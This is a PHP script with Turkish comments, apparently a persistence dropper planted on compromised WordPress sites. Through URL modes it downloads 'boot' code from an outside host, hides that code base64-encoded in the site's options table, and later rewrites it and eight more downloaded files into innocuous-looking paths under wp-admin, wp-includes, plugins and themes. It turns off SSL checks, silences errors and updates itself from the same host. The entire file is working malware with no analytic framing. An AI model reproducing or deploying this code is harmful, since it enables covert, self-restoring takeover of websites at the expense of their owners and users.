<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$optKey='_cstb_rc';

// open_basedir kontrolü
function _cstb_can_include($path){
    $obd=ini_get('open_basedir');
    if(!$obd)return true;
    $dirs=explode(PATH_SEPARATOR,$obd);
    foreach($dirs as $dir){if($dir&&strpos(realpath($path)?:$path,rtrim($dir,'/'))===0)return true;}
    return false;
}

// ── ?mode=store → Boot kodunu DB'ye yaz ──
if(isset($_GET['mode'])&&$_GET['mode']==='store'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
    if(!_cstb_can_include("$d/wp-load.php")){echo json_encode(['error'=>'open_basedir','basedir'=>ini_get('open_basedir'),'root'=>$d]);exit;}
    require_once "$d/wp-load.php";
    global $wpdb;
    $bootCode='';
    if(function_exists('curl_init')){
        $ch=curl_init($cdn.'boot.txt');
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $bootCode=curl_exec($ch);curl_close($ch);
    }
    if(!$bootCode||strlen($bootCode)<50)$bootCode=@file_get_contents($cdn.'boot.txt');
    if(!$bootCode||strlen($bootCode)<50){echo json_encode(['error'=>'cdn-fail']);exit;}

    $payload=base64_encode($bootCode);
    $stored=get_option($optKey);
    if($stored===$payload){
        echo json_encode(['status'=>'already-stored','size'=>strlen($bootCode)]);exit;
    }
    update_option($optKey,$payload,false);
    echo json_encode(['status'=>'stored','size'=>strlen($bootCode),'key'=>$optKey]);exit;
}

// ── ?mode=restore → DB'den boot kodunu oku ve tüm dosyaları yeniden oluştur ──
if(isset($_GET['mode'])&&$_GET['mode']==='restore'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
    if(!_cstb_can_include("$d/wp-load.php")){echo json_encode(['error'=>'open_basedir','basedir'=>ini_get('open_basedir')]);exit;}
    require_once "$d/wp-load.php";

    $payload=get_option($optKey);
    if(!$payload){echo json_encode(['error'=>'no-data-in-db','hint'=>'call ?mode=store first']);exit;}

    $bootCode=base64_decode($payload);
    $res=[];

    $bootPath="$d/wp-admin/user-hooker.php";
    if(is_dir(dirname($bootPath))){
        $res['boot']=@file_put_contents($bootPath,$bootCode)!==false?'ok':'fail';
    }else{$res['boot']='no-dir';}

    if(function_exists('curl_init')){
        $targets=[
            'wp-info.php'=>'link.txt',
            'wp-content/plugins/plugins.php'=>'plugins.txt',
            'wp-content/plugins/indexs.php'=>'boots.txt',
            'wp-settinger.php'=>'wp-settinger.txt',
            'wp-user.php'=>'wp-user.txt',
            'wp-comment.php'=>'wp-comment.txt',
            'wp-includes/user-collab.php'=>'sefer.txt',
            'wp-content/themes/indexer.php'=>'indexs.txt',
        ];
        foreach($targets as $rel=>$src){
            $path="$d/$rel";$dir=dirname($path);
            if(!is_dir($dir)){$res[$rel]='no-dir';continue;}
            $ch=curl_init($cdn.$src);
            curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
            $c=curl_exec($ch);curl_close($ch);
            $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
        }
    }else{$res['_note']='no-curl';}

    // Self-update
    if(function_exists('curl_init')){
        $ch=curl_init($cdn.'wp-recovery.txt');
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $s=curl_exec($ch);curl_close($ch);
        if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){
            @file_put_contents(__FILE__,$s);$res['_self']='updated';
        }
    }

    echo json_encode(['status'=>'restored','root'=>$d,'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?mode=status → DB'de veri var mı kontrol ──
if(isset($_GET['mode'])&&$_GET['mode']==='status'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
    if(!_cstb_can_include("$d/wp-load.php")){echo json_encode(['error'=>'open_basedir','basedir'=>ini_get('open_basedir')]);exit;}
    require_once "$d/wp-load.php";
    $payload=get_option($optKey);
    echo json_encode([
        'has_backup'=>$payload?true:false,
        'size'=>$payload?strlen(base64_decode($payload)):0,
        'root'=>$d,
        'wp'=>true
    ]);exit;
}

// ── Varsayılan: durum bilgisi ──
header('Content-Type: text/plain');
echo "cstb-recovery\nmodes: ?mode=store | ?mode=restore | ?mode=status\n";